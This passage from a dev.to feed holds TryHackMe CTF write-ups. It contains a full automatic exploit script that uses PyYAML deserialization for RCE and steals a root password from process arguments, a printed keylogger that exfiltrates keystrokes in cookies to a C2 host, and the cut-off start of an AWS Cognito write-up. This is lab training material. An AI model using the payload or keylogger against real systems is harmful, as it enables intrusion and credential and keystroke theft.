&lt;li&gt;PyYAML gadget &lt;code&gt;!!python/object/apply:subprocess.check_output&lt;/code&gt; — RCE&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ps aux&lt;/code&gt; / &lt;code&gt;su&lt;/code&gt; — privilege escalation&lt;/li&gt;
&lt;li&gt;Python (&lt;code&gt;urllib&lt;/code&gt;, &lt;code&gt;re&lt;/code&gt;) — full exploit automation in &lt;code&gt;solve_beachbar.py&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp060i9qm4ic0zk9qq2g2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp060i9qm4ic0zk9qq2g2.png" alt=" " width="800" height="1686"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Byte Lotus - Beach Bar Boot2Root - FULLY AUTOMATIC SOLVER
# Solves: THM{y4ml_pl4yl1st_pwns_th3_b34ch} / THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}
#
# Does everything by itself:
#   1. Logs in as dj/dj (leaked in HTML comment)
#   2. Confirms YAML deserialization RCE via /import (PyYAML unsafe load)
#   3. Locates and reads the user flag
#   4. Extracts the root password from the jukeboxd process args (--stream-pass)
#   5. su root -&amp;gt; reads the root flag
#   6. Prints both flags
#
# Usage:  python solve_beachbar.py [http://IP]
# Default: http://10.49.157.31

import sys
import re
import html as htmllib
import urllib.request
import urllib.parse
import http.cookiejar
import socket

TARGET = (sys.argv[1] if len(sys.argv) &amp;gt; 1 else "http://10.49.157.31").rstrip("/")
TIMEOUT = 15
RETRIES = 3
KNOWN_PASS = "SunsetSpritz2024!"  # fallback only; script extracts it from ps if possible
socket.setdefaulttimeout(TIMEOUT)

cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

FLAG_RE = re.compile(r"THM\{[^}]+\}")


def http_req(path, data=None, headers=None, method=None):
    req = urllib.request.Request(TARGET + path, data=data, headers=headers or {})
    if method:
        req.get_method = lambda: method
    return opener.open(req, timeout=TIMEOUT)


def get(path):
    return http_req(path).read().decode(errors="replace")


def post_form(path, data):
    body = urllib.parse.urlencode(data).encode()
    return http_req(path, data=body, headers={"Content-Type": "application/x-www-form-urlencoded"}).read().decode(errors="replace")


def rce(cmd, retries=RETRIES):
    """Run a command through the PyYAML unsafe-deserialization RCE; return stdout."""
    payload = (
        "!!python/object/apply:subprocess.check_output\n"
        f'args: ["{cmd}"]\n'
        "kwds: {shell: true}\n"
    )
    boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW"
    body = (
        f"--{boundary}\r\n"
        'Content-Disposition: form-data; name="playlist_file"; filename="p.yml"\r\n'
        "Content-Type: application/x-yaml\r\n\r\n"
        f"{payload}\r\n"
        f"--{boundary}--\r\n"
    )
    last = ""
    for attempt in range(1, retries + 1):
        try:
            resp = http_req(
                "/import",
                data=body.encode(),
                headers={"Content-Type": f"multipart/form-data; boundary={boundary}"},
            ).read().decode(errors="replace")
            m = re.search(r"&amp;lt;pre&amp;gt;(.*?)&amp;lt;/pre&amp;gt;", resp, re.S)
            last = htmllib.unescape(m.group(1)) if m else ""
            if last or attempt == retries:
                return last
        except Exception:
            if attempt == retries:
                raise
    return last


def find_flag_in(text):
    m = FLAG_RE.search(text)
    return m.group(0) if m else ""


def main():
    print(f"[+] Targeting {TARGET}")

    # --- Step 1: Login as dj/dj (leaked in HTML comment) ---
    print("[+] Step 1: Login as dj/dj")
    try:
        get("/login")
        post_form("/login", {"username": "dj", "password": "dj"})
        dash = get("/dashboard")
        ok = "logout" in dash.lower() or "import" in dash.lower() or bool(find_flag_in(dash))
        if not ok:
            print("[-] Login failed — wrong creds or target not the Beach Bar app.")
            return
        print("    Logged in as dj.")
    except Exception as e:
        print(f"[-] Login error: {e}")
        print("[!] Is the TryHackMe machine running? Start the room and run again.")
        return

    # --- Step 2: Verify RCE ---
    print("[+] Step 2: Verify YAML RCE")
    out = rce("id")
    print(f"    {out.strip() or '(no output)'}")
    if "bartender" not in out:
        print("[-] RCE failed — /import may be patched or payload blocked.")
        return

    # --- Step 3: Locate and read user flag ---
    print("[+] Step 3: Read user flag")
    user_flag = ""
    for path in ("/home/bartender/user.txt", "user.txt"):
        out = rce(f"cat {path} || ls -la /home/bartender || find / -name user.txt 2&amp;gt;/dev/null || echo NO_FLAG")
        user_flag = find_flag_in(out)
        if user_flag:
            print(f"    Found at {path}")
            break
    if not user_flag:
        print("[-] User flag not found — trying to locate it.")
        listing = rce("find / -iname '*user*flag*' -o -iname 'user.txt' 2&amp;gt;/dev/null || echo NONE")
        print(f"    {listing.strip()}")
    print(f"    USER FLAG: {user_flag or '(not found)'}")

    # --- Step 4: Extract root password from jukeboxd process args ---
    print("[+] Step 4: Extract --stream-pass from process list")
    ps = rce("ps aux")
    m = re.search(r"jukeboxd\.py --stream-pass\s+[\"']?([^\"'\s]+)[\"']?", ps)
    root_pass = m.group(1) if m else KNOWN_PASS
    source = "ps aux" if m else "fallback"
    print(f"    Stream pass ({source}): {root_pass}")

    # --- Step 5: su root -&amp;gt; root flag ---
    print("[+] Step 5: su root and read root flag")
    root_flag = ""
    for candidate in (root_pass, KNOWN_PASS):
        out = rce(f"echo {candidate} | su root -c 'cat /root/root.txt' || echo BAD_PASS")
        root_flag = find_flag_in(out)
        if root_flag:
            print(f"    Password worked: {candidate}")
            break
        print(f"    {candidate!r} rejected, trying next...")
    print(f"    ROOT FLAG: {root_flag or '(not found)'}")

    # --- Final summary ---
    print()
    print("=" * 46)
    print(f"USER FLAG : {user_flag or 'FAILED'}")
    print(f"ROOT FLAG : {root_flag or 'FAILED'}")
    print("=" * 46)


if __name__ == "__main__":
    main()

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>cybersecurity</category>
      <category>python</category>
      <category>security</category>
      <category>programming</category>
    </item>
    <item>
      <title>[TryHackMe Writeup] Packed Light</title>
      <dc:creator>Wahiduddin Samani</dc:creator>
      <pubDate>Fri, 31 Jul 2026 07:00:44 +0000</pubDate>
      <link>https://dev.to/w1hi4/tryhackme-writeup-packed-light-2bp6</link>
      <guid>https://dev.to/w1hi4/tryhackme-writeup-packed-light-2bp6</guid>
      <description>&lt;h1&gt;
  
  
  **Network Forensics — C2 Keylogger Exfiltration via HTTP Cookie
&lt;/h1&gt;

&lt;p&gt;**&lt;br&gt;
&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;traffic.pcapng&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Forensics&lt;br&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy&lt;br&gt;
&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;THM{V3r4_1s_w4tch1ng_0veR_y0u}&lt;/code&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Step-by-Step
&lt;/h2&gt;
&lt;h3&gt;
  
  
  **Step 1 — Identify Suspicious Traffic
&lt;/h3&gt;

&lt;p&gt;**&lt;br&gt;
Loaded the pcap with Python + Scapy and counted TCP ports:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;443   -&amp;gt; 368 packets
8080  -&amp;gt; 251 packets   &amp;lt;-- unusual
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The hint from @0xMia mentioned "pinging some random :8080 address every single second" — port 8080 is the covert channel.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 2 — Inspect the 8080 Traffic&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The very first request was a download:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET /temp/updates.py HTTP/1.1
Host: byte-lotus-hotel.thm:8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server (34.41.103.191:8080, SimpleHTTP Python server) served &lt;strong&gt;updates.py&lt;/strong&gt; — a keylogger C2 script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pynput&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;keyboard&lt;/span&gt;

&lt;span class="n"&gt;C2_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://byte-lotus-hotel.thm:8080/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;getkey&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;p1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;H0t3lSt@ff0Nly&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;p2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;K3epS3cr3t!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;p1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;p2&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;sendltr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;character&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;raw_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;character&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;utf-8&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;encrypted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw_bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;getkey&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;utf-8&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;b64_string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encrypted&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;utf-8&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;User-Agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Mozilla/5.0 (Windows NT 10.0; Win64; x64) ByteLotusClient/1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Cookie&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hotel_sess_state=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;b64_string&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;C2_URL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key findings:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;XOR key: &lt;code&gt;H0t3lSt@ff0NlyK3epS3cr3t!&lt;/code&gt; (two concatenated strings)&lt;/li&gt;
&lt;li&gt;Each keystroke: XOR → base64 → &lt;code&gt;Cookie: hotel_sess_state=&lt;/code&gt; header&lt;/li&gt;
&lt;li&gt;Sent via innocent-looking &lt;code&gt;GET /&lt;/code&gt; requests&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 3 — Extract the Exfil Cookies&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;All 30 keystrokes were found in cookie headers across the GET requests:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Cookie: hotel_sess_state=HA==
Cookie: hotel_sess_state=AA==
Cookie: hotel_sess_state=BQ==
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;strong&gt;Step 4 — Decode (base64 → XOR)&lt;/strong&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;

&lt;span class="n"&gt;KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;H0t3lSt@ff0NlyK3epS3cr3t!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;kb&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;utf-8&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;kb&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;kb&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;cookie&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;cookies&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;raw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;KEY&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;strong&gt;Result&lt;/strong&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{V3r4_1s_w4tch1ng_0veR_y0u}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  &lt;strong&gt;Covert Channel Summary&lt;/strong&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;keyboard keystroke
    → XOR with "H0t3lSt@ff0NlyK3epS3cr3t!"
    → base64 encode
    → Cookie: hotel_sess_state=&amp;lt;b64&amp;gt;
    → GET / HTTP/1.1 to C2 at byte-lotus-hotel.thm:8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Disguised as a hotel app "sync service" polling the server at regular intervals.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Tools Used&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Python + Scapy — pcap parsing&lt;/li&gt;
&lt;li&gt;Custom decoder — base64 + XOR&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;curl.exe&lt;/code&gt; — (optional) HTTP checks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fpwxi006y2ril823e5wut.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fpwxi006y2ril823e5wut.png" alt=" " width="800" height="1200"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Byte Lotus - Network Forensics (C2 Keylogger Exfiltration)
# Fully automatic: finds C2 script, extracts XOR key from it,
# collects exfil cookies, decodes, prints flag.
#
# Usage: python solve_forensics.py &amp;lt;path_to_traffic.pcapng&amp;gt;

import sys
import re
import base64
from scapy.all import rdpcap

PCAP = sys.argv[1] if len(sys.argv) &amp;gt; 1 else r'traffic.pcapng'

def xor(data: bytes, key: str) -&amp;gt; bytes:
    kb = key.encode('utf-8')
    return bytes(b ^ kb[i % len(kb)] for i, b in enumerate(data))

print(f"[+] Reading {PCAP} ...")
pkts = rdpcap(PCAP)

# ---- Step 1: Find the C2 script download (GET /temp/updates.py) ----
print("\n[+] Step 1: Locating C2 script...")
script = b''
for p in pkts:
    if p.haslayer('TCP') and p.sport == 8080 and p['TCP'].payload:
        pay = bytes(p['TCP'].payload)
        if b'import requests' in pay:
            start = pay.find(b'import requests')
            end = pay.find(b'\r\n\r\n', start)
            script = pay[start:end] if end != -1 else pay[start:]
            break
        elif script and not pay.startswith(b'HTTP'):
            script += pay

if not script:
    print("[-] C2 script not found in capture!")
    sys.exit(1)

print("[+] C2 script found:")
print(script.decode('utf-8', errors='replace'))

# ---- Step 2: Extract XOR key from the script automatically ----
print("\n[+] Step 2: Extracting XOR key from script...")
text = script.decode('utf-8', errors='replace')

# Pattern: key parts assigned to string variables and concatenated
parts = re.findall(r'[pv]\d?\s*=\s*"([^"]+)"', text)
key = ''.join(parts)
if not key:
    # Fallback: look for any string near "return p1 + p2" style, or a single key var
    m = re.search(r'return\s+(\w+)\s*\+\s*(\w+)', text)
    if m:
        key = parts[0] + parts[1] if len(parts) &amp;gt;= 2 else ''
if not key:
    m = re.search(r'key\s*=\s*["\']([^"\']+)["\']', text, re.I)
    key = m.group(1) if m else ''

if not key:
    print("[-] Could not extract key automatically!")
    sys.exit(1)

print(f"[+] XOR key: {key!r}")

# ---- Step 3: Extract all exfil cookies in packet order ----
print("\n[+] Step 3: Extracting exfil cookies...")
cookies = []
for p in pkts:
    if p.haslayer('TCP') and p.dport == 8080 and p['TCP'].payload:
        pay = bytes(p['TCP'].payload)
        if b'hotel_sess_state=' in pay:
            for m in pay.split(b'hotel_sess_state=')[1:]:
                cookies.append(m.split(b'\r\n')[0].decode())

print(f"[+] Found {len(cookies)} cookies")

# ---- Step 4: Decode each keystroke (base64 -&amp;gt; XOR) ----
print("\n[+] Step 4: Decoding (base64 -&amp;gt; XOR)...")
chars = []
for c in cookies:
    try:
        raw = base64.b64decode(c)
        chars.append(xor(raw, key).decode('utf-8', errors='replace'))
    except Exception as e:
        chars.append(f"&amp;lt;err:{e}&amp;gt;")

message = ''.join(chars)

# ---- Step 5: Report flag ----
print("\n[+] Decoded keystroke stream:")
print(message)

flag = re.search(r'THM\{[^}]+\}', message)
if flag:
    print(f"\n[+] FLAG: {flag.group(0)}")
else:
    print("\n[!] No THM{...} flag pattern found in decoded data — check the full output above.")

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>cybersecurity</category>
      <category>forensics</category>
      <category>python</category>
      <category>security</category>
    </item>
    <item>
      <title>[TryHackMe Writeup] Complimentary</title>
      <dc:creator>Wahiduddin Samani</dc:creator>
      <pubDate>Fri, 31 Jul 2026 06:55:39 +0000</pubDate>
      <link>https://dev.to/w1hi4/tryhackme-writeup-complimentary-1ggb</link>
      <guid>https://dev.to/w1hi4/tryhackme-writeup-complimentary-1ggb</guid>
      <description>&lt;h1&gt;
  
  
  &lt;strong&gt;Complimentary — AWS Cognito &amp;amp; IAM Misconfiguration&lt;/strong&gt;
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Cloud&lt;br&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy&lt;br&gt;
&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;THM{fr33_app_fr33_d4t4!}&lt;/code&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Step-by-Step
&lt;/h2&gt;
&lt;h3&gt;
  
  
  &lt;strong&gt;Step 1 — Recon: Fetch the S3 Website&lt;/strong&gt;
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;curl.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Found a static HTML page loading &lt;code&gt;app.js&lt;/code&gt; and the AWS SDK.&lt;/p&gt;


&lt;h3&gt;
  
  
  &lt;strong&gt;Step 2 — Source Code Analysis: app.js&lt;/strong&gt;
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;curl.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/app.js&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Key findings:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
